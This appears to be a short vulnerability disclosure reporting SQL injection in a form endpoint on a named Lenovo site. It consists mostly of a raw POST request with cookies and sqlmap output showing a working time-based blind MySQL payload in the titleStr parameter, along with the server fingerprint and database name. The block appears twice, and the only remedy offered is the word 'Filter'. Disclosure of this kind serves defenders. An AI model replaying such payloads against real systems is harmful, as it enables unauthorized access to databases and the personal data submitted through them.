SQL Injection exists in a Lenovo site

SQL Injection exists in a Lenovo site

http://rel.lenovo.com.cn/zhaoyang/gmyx.html

POST injection:

POST/zhaoyang/edm/add. php HTTP/1.1

Host: rel.lenovo.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905Connection: keep-aliveReferer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swfContent-type: application/x-www-form-urlencodedContent-Length: 192titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111

Parameter: titleStr

 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: titleStr (POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=[email protected]&buyNum=1&nameStr=111111

---

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24

back-end DBMS: MySQL 5.0.12

current database: 'survey'

http://rel.lenovo.com.cn/zhaoyang/gmyx.html

POST injection:

POST /zhaoyang/edm/add.php HTTP/1.1Host: rel.lenovo.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905Connection: keep-aliveReferer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swfContent-type: application/x-www-form-urlencodedContent-Length: 192titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111

 

Parameter: titleStr

 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: titleStr (POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=[email protected]&buyNum=1&nameStr=111111

---

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24

back-end DBMS: MySQL 5.0.12

current database: 'survey'
 

Solution:

Filter